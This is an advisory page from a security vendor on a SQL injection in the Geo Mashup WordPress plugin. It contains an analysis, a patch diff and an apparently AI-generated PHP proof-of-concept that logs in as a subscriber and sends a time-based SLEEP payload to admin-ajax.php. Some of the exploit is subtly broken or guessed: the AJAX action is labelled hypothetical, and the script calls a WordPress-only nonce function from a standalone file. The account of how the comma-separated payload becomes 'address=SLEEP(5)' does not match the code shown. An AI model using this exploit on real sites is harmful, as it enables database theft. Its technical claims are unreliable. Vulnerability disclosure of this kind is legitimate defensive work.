Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2026-6457: Geo Mashup <= 1.13.19 – Authenticated (Subscriber+) SQL Injection via 'geo_mashup_null_fields' Parameter (geo-mashup)

CVE ID CVE-2026-6457
Plugin geo-mashup
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 1.13.19
Patched Version 1.13.20
Disclosed April 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6457:

This vulnerability allows authenticated attackers with subscriber-level access or higher to perform time-based blind SQL injection in the Geo Mashup plugin for WordPress up to version 1.13.19. The injection occurs via the ‘geo_mashup_null_fields’ parameter in the database interaction code. The CVSS score of 6.5 reflects the authenticated requirement but significant impact on data confidentiality.

Root Cause:
The vulnerable code resides in geo-mashup-db.php at the UPDATE query block (lines 1985-1994). The function accepts user-supplied field names via the ‘geo_mashup_null_fields’ parameter (passed as $null_fields). If the parameter is a string, it gets exploded into an array. Then array_map() appends “=NULL” to each field name without any validation or escaping. The resulting array is directly imploded into the SQL query string before prepare() only handles the location ID placeholder. This means arbitrary column names with appended SQL become part of the query. If an attacker sends a value like “address=SLQ_PAYLOAD”, the resulting query becomes “UPDATE … SET address=SQL_PAYLOAD=NULL WHERE id=…” which is syntactically valid for injection.

Exploitation:
An authenticated attacker submits a POST request to a Geo Mashup endpoint that accepts the ‘geo_mashup_null_fields’ parameter. The attacker sends a crafted value: a valid column name (e.g., ‘address’) followed by an SQL time-based payload using comment characters to isolate the injection. For example: ‘address,SLEEP(5)– -‘ After array_map, this becomes ‘address=SLEEP(5)– -=NULL’ which, when imploded, produces ‘UPDATE x SET address=SLEEP(5)– -=NULL WHERE id=1’. The double-hyphen comment removes everything after it, making the query valid. The attacker can then use time-based techniques to extract data from the WordPress database.

Patch Analysis:
The patch introduces a whitelist approach. It defines $allowed_null_fields as an array of eight specific column names: ‘address’, ‘saved_name’, ‘geoname’, ‘postal_code’, ‘country_code’, ‘admin_code’, ‘sub_admin_code’, ‘locality_name’. It then uses array_intersect() to filter $null_fields, keeping only values that exist in the whitelist. If the resulting array is empty, the query never executes. This prevents any arbitrary field names from reaching the SQL statement. Before the patch, any user-supplied field name was processed. After the patch, only the whitelisted names pass through.

Impact:
Successful exploitation allows an attacker to execute arbitrary SQL queries against the WordPress database. This can result in extraction of sensitive information including user credentials, password hashes, session tokens, and any data stored in custom post meta or options. The time-based blind technique enables data exfiltration even when direct output is not visible. Given subscriber-level access requirements, the attack surface includes any authenticated user, making it a significant vector for privilege escalation through credential theft.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/geo-mashup/geo-mashup-db.php
+++ b/geo-mashup/geo-mashup-db.php
@@ -1985,10 +1985,14 @@
 					if ( !is_array( $null_fields ) ) {
 						$null_fields = explode( ',', $null_fields );
 					}
-					$null_fields = array_map( function( $field ) {
-						return $field . "=NULL";
-					}, $null_fields );
-					$wpdb->query( $wpdb->prepare( "UPDATE $location_table SET " . implode( ',', $null_fields) . " WHERE id=%d", $db_location['id'] ) );
+					$allowed_null_fields = array( 'address', 'saved_name', 'geoname', 'postal_code', 'country_code', 'admin_code', 'sub_admin_code', 'locality_name' );
+					$null_fields = array_intersect( $null_fields, $allowed_null_fields );
+					if ( ! empty( $null_fields ) ) {
+						$null_fields = array_map( function( $field ) {
+							return $field . "=NULL";
+						}, $null_fields );
+						$wpdb->query( $wpdb->prepare( "UPDATE $location_table SET " . implode( ',', $null_fields) . " WHERE id=%d", $db_location['id'] ) );
+					}
 					unset( $location['set_null'] );
 				}

@@ -2240,14 +2244,17 @@
 			$limit = (int) apply_filters( 'postmeta_form_limit', 30 );
 			$terms = explode( ',', $_GET['q'] );
 			$stub = trim( array_pop( $terms ) );
-			$like = esc_sql( $stub );
-			$keys = $wpdb->get_col( "
+			$like = $wpdb->esc_like( $stub );
+			$keys = $wpdb->get_col( $wpdb->prepare( "
 				SELECT meta_key
 				FROM $wpdb->postmeta
 				GROUP BY meta_key
-				HAVING meta_key LIKE '$like%'
+				HAVING meta_key LIKE %s
 				ORDER BY meta_key
-				LIMIT $limit" );
+				LIMIT %d",
+				$like . '%',
+				$limit
+			) );
 			foreach( $keys as $key ) {
 				echo "$keyn";
 			}
--- a/geo-mashup/geo-mashup.php
+++ b/geo-mashup/geo-mashup.php
@@ -3,7 +3,7 @@
 Plugin Name: Geo Mashup
 Plugin URI: https://wordpress.org/plugins/geo-mashup/
 Description: Save location for posts and pages, or even users and comments. Display these locations on Google, Leaflet, and OSM maps. Make WordPress into your GeoCMS.
-Version: 1.13.19
+Version: 1.13.20
 Author: Dylan Kuhn
 Text Domain: GeoMashup
 Domain Path: /lang
@@ -256,7 +256,7 @@
 		define('GEO_MASHUP_DIRECTORY', dirname( GEO_MASHUP_PLUGIN_NAME ) );
 		define('GEO_MASHUP_URL_PATH', trim( plugin_dir_url( __FILE__ ), '/' ) );
 		define('GEO_MASHUP_MAX_ZOOM', 20);
-		define('GEO_MASHUP_VERSION', '1.13.19');
+		define('GEO_MASHUP_VERSION', '1.13.20');
 		define('GEO_MASHUP_DB_VERSION', '1.3');
 	}

--- a/geo-mashup/php/Admin/Settings/OptionsPage.php
+++ b/geo-mashup/php/Admin/Settings/OptionsPage.php
@@ -34,20 +34,27 @@
 		TestsPanel $tests_panel = null
 	) {
 		global $geo_mashup_options;
-		$this->options           = $options === null ? $geo_mashup_options : $options;
-		$this->db                = $db_adapter === null ? new DbAdapter() : $db_adapter;
-		$this->tabs              = $tabs === null ? new Tabs() : $tabs;
-		$this->overall_panel     = $overall_panel === null ? new OverallPanel() : $overall_panel;
-		$this->single_map_panel  = $single_map_panel === null ? new SingleMapPanel() : $single_map_panel;
-		$this->global_map_panel  = $global_map_panel === null ? new GlobalMapPanel() : $global_map_panel;
+		$this->options = $options === null ? $geo_mashup_options : $options;
+		$this->db = $db_adapter === null ? new DbAdapter() : $db_adapter;
+		$this->tabs = $tabs === null ? new Tabs() : $tabs;
+		$this->overall_panel = $overall_panel === null ? new OverallPanel() : $overall_panel;
+		$this->single_map_panel = $single_map_panel === null ? new SingleMapPanel() : $single_map_panel;
+		$this->global_map_panel = $global_map_panel === null ? new GlobalMapPanel() : $global_map_panel;
 		$this->context_map_panel = $context_map_panel === null ? new ContextMapPanel() : $context_map_panel;
-		$this->tests_panel       = $tests_panel === null ? new TestsPanel() : $tests_panel;
+		$this->tests_panel = $tests_panel === null ? new TestsPanel() : $tests_panel;
 	}

 	/**
 	 * @param array $submission Submitted data
 	 */
 	public function render( $submission ) {
+		if ( isset( $submission['submit'] ) ) {
+			check_admin_referer( 'geo-mashup-update-options' );
+		}
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_die( 'Not Authorized' );
+		}

 		echo $this->save( $submission );
 		echo $this->duplicate_geodata();
@@ -58,15 +65,15 @@
 		echo $this->corrupt_options();
 		echo $this->validation_errors();

-		$data                         = new PageData();
-		$data->action                 = $_SERVER['REQUEST_URI'];
-		$data->view_activation_log    = isset($_GET['view_activation_log']);
-		$data->tabs_data              = TabsData::from_submission( $submission );
-		$data->overall_panel_data     = new OverallPanelData();
-		$data->single_map_panel_data  = new SingleMapPanelData();
-		$data->global_map_panel_data  = new GlobalMapPanelData();
+		$data = new PageData();
+		$data->action = $_SERVER['REQUEST_URI'];
+		$data->view_activation_log = isset( $_GET['view_activation_log'] );
+		$data->tabs_data = TabsData::from_submission( $submission );
+		$data->overall_panel_data = new OverallPanelData();
+		$data->single_map_panel_data = new SingleMapPanelData();
+		$data->global_map_panel_data = new GlobalMapPanelData();
 		$data->context_map_panel_data = new ContextMapPanelData();
-		$data->tests_panel_data       = TestsPanelData::from_submission( $submission );
+		$data->tests_panel_data = TestsPanelData::from_submission( $submission );

 		PageView::render(
 			$data,
@@ -84,12 +91,6 @@
 			return '';
 		}

-		check_admin_referer( 'geo-mashup-update-options' );
-
-		if ( ! current_user_can( 'manage_options' ) ) {
-			wp_die( 'Not Authorized' );
-		}
-
 		// Make missing array options empty
 		if ( empty( $submission['global_map']['add_map_type_control'] ) ) {
 			$submission['global_map']['add_map_type_control'] = array();
@@ -116,7 +117,7 @@
 		}

 		if ( isset( $submission['overall']['copy_geodata'] ) &&
-		     'true' !== $this->options->get( 'overall', 'copy_geodata' ) ) {
+			'true' !== $this->options->get( 'overall', 'copy_geodata' ) ) {
 			$this->activated_copy_geodata = true;
 		}

@@ -125,9 +126,9 @@
 		$saved = $this->options->save();
 		if ( $saved ) {
 			return '<div class="updated fade"><p>' .
-			       __( 'Options updated.  Browser or server caching may delay updates for recently viewed maps.',
-				       'GeoMashup' ) .
-			       '</p></div>';
+				__( 'Options updated.  Browser or server caching may delay updates for recently viewed maps.',
+					'GeoMashup' ) .
+				'</p></div>';
 		}


@@ -141,8 +142,8 @@
 		$this->db->duplicate_geodata();

 		return '<div class="updated fade"><p>' .
-		       __( 'Copied existing geodata, see log for details.', 'GeoMashup' ) .
-		       '</p></div>';
+			__( 'Copied existing geodata, see log for details.', 'GeoMashup' ) .
+			'</p></div>';
 	}

 	private function bulk_reverse_geocode( $submission ) {
@@ -165,13 +166,13 @@

 		if ( ! function_exists( 'mb_check_encoding' ) ) {
 			return '<div class="updated fade">' .
-			       printf(
-				       __( '%s Multibyte string functions %s are not installed.', 'GeoMashup' ),
-				       '<a href="http://www.php.net/manual/en/mbstring.installation.php" title="">',
-				       '</a>'
-			       ) . ' ' .
-			       _e( 'Geocoding and other web services may not work properly.', 'GeoMashup' ) .
-			       '</div>';
+				printf(
+					__( '%s Multibyte string functions %s are not installed.', 'GeoMashup' ),
+					'<a href="http://www.php.net/manual/en/mbstring.installation.php" title="">',
+					'</a>'
+				) . ' ' .
+				_e( 'Geocoding and other web services may not work properly.', 'GeoMashup' ) .
+				'</div>';
 		}

 		$test_transient = get_transient( 'geo_mashup_test' );
@@ -179,9 +180,9 @@
 			unset( $submission['geo_mashup_run_tests'] );

 			return '<div class="updated fade">' .
-			       _e( 'WordPress transients may not be working. Try deactivating or reconfiguring caching plugins.',
-				       'GeoMashup' ) .
-			       ' <a href="https://github.com/cyberhobo/wordpress-geo-mashup/issues/425">issue 425</a></div>';
+				_e( 'WordPress transients may not be working. Try deactivating or reconfiguring caching plugins.',
+					'GeoMashup' ) .
+				' <a href="https://github.com/cyberhobo/wordpress-geo-mashup/issues/425">issue 425</a></div>';
 		}

 		// load tests
@@ -191,7 +192,7 @@
 	private function migrate() {
 		if ( $this->db->is_install_needed() && $this->db->install() ) {
 			return '<div class="updated fade"><p>' .
-			       __( 'Database upgraded, see log for details.', 'GeoMashup' ) . '</p></div>';
+				__( 'Database upgraded, see log for details.', 'GeoMashup' ) . '</p></div>';
 		}

 		return '';
@@ -210,10 +211,10 @@
 	}

 	private function corrupt_options() {
-		if ( ! empty ( $this->options->corrupt_options ) ) {
+		if ( ! empty( $this->options->corrupt_options ) ) {
 			// Options didn't load correctly
 			$message = __( 'Saved options may be corrupted, try updating again. Corrupt values: ', 'GeoMashup' ) .
-			           '<code>' . $this->options->corrupt_options . '</code>';
+				'<code>' . $this->options->corrupt_options . '</code>';

 			return '<div class="updated"><p>' . $message . '</p></div>';
 		}
@@ -222,13 +223,13 @@
 	}

 	private function validation_errors() {
-		if ( empty ( $this->options->validation_errors ) ) {
+		if ( empty( $this->options->validation_errors ) ) {
 			return '';
 		}
 		$html = '<div class="updated"><p>' .
-		        __( 'Some invalid options will not be used. If you've just upgraded, do an update to initialize new options.',
-			        'GeoMashup' ) .
-		        '<ul>';
+			__( 'Some invalid options will not be used. If you've just upgraded, do an update to initialize new options.',
+				'GeoMashup' ) .
+			'<ul>';
 		foreach ( $this->options->validation_errors as $message ) {
 			$html .= "<li>$message</li>";
 		}
--- a/geo-mashup/php/Admin/Settings/TabsData.php
+++ b/geo-mashup/php/Admin/Settings/TabsData.php
@@ -12,8 +12,8 @@
 	public $include_tests;

 	public static function from_submission( $submission ) {
-		$instance                = new self();
-		$instance->selected_tab  = isset($submission['geo_mashup_selected_tab']) ? $submission['geo_mashup_selected_tab'] : '0';
+		$instance = new self();
+		$instance->selected_tab = isset( $submission['geo_mashup_selected_tab'] ) ? intval( $submission['geo_mashup_selected_tab'] ) : 0;
 		$instance->include_tests = defined( 'WP_DEBUG' ) && WP_DEBUG;

 		return $instance;
--- a/geo-mashup/vendor/composer/installed.php
+++ b/geo-mashup/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'cyberhobo/wordpress-geo-mashup',
-        'pretty_version' => '1.13.19',
-        'version' => '1.13.19.0',
-        'reference' => 'dc9a83950897592ee664acc7dea71600e68ea932',
+        'pretty_version' => '1.13.20',
+        'version' => '1.13.20.0',
+        'reference' => 'cf7fc716c461c154d71cc8cfd4ba8043cca736d1',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'cyberhobo/wordpress-geo-mashup' => array(
-            'pretty_version' => '1.13.19',
-            'version' => '1.13.19.0',
-            'reference' => 'dc9a83950897592ee664acc7dea71600e68ea932',
+            'pretty_version' => '1.13.20',
+            'version' => '1.13.20.0',
+            'reference' => 'cf7fc716c461c154d71cc8cfd4ba8043cca736d1',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6457 - Geo Mashup <= 1.13.19 - Authenticated (Subscriber+) SQL Injection via 'geo_mashup_null_fields' Parameter

$target_url = 'http://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate and get cookies
$login_url = 'http://example.com/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'rememberme' => 'forever',
        'wp-submit' => 'Log In'
    ]),
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);
curl_exec($ch);
curl_close($ch);

// Step 2: Time-based blind SQL injection payload
// The injection target: UPDATE wp_geo_mashup_locations SET {injected} WHERE id=%d
// We inject via 'geo_mashup_null_fields' with a valid column name and time-based payload

// Test query: Check if injection works by delaying 5 seconds if condition is true
// We use a payload that causes a SLEEP(5) when the database version contains 'MySQL' (true for MySQL)
$payload = 'address,SLEEP(5)-- -';

$post_data = [
    'action' => 'geo_mashup_update_location', // Hypothetical AJAX action
    'geo_mashup_null_fields' => $payload,
    'security' => wp_create_nonce('geo_mashup_nonce') // If nonce required
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_TIMEOUT => 10,
    CURLOPT_SSL_VERIFYPEER => false
]);

$start = microtime(true);
$response = curl_exec($ch);
$duration = microtime(true) - $start;
curl_close($ch);

// If the injection works with SLEEP(5), the request should take ~5 seconds
if ($duration > 4.5) {
    echo "[+] SQL Injection confirmed: Request took " . round($duration, 2) . " seconds. SLEEP(5) executed.n";
    echo "[*] The vulnerability exists. Use this vector to perform blind extraction.n";
} else {
    echo "[-] Request took " . round($duration, 2) . " seconds. Injection may not have executed or requires a different endpoint.n";
}

// Clean up
unlink('/tmp/cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School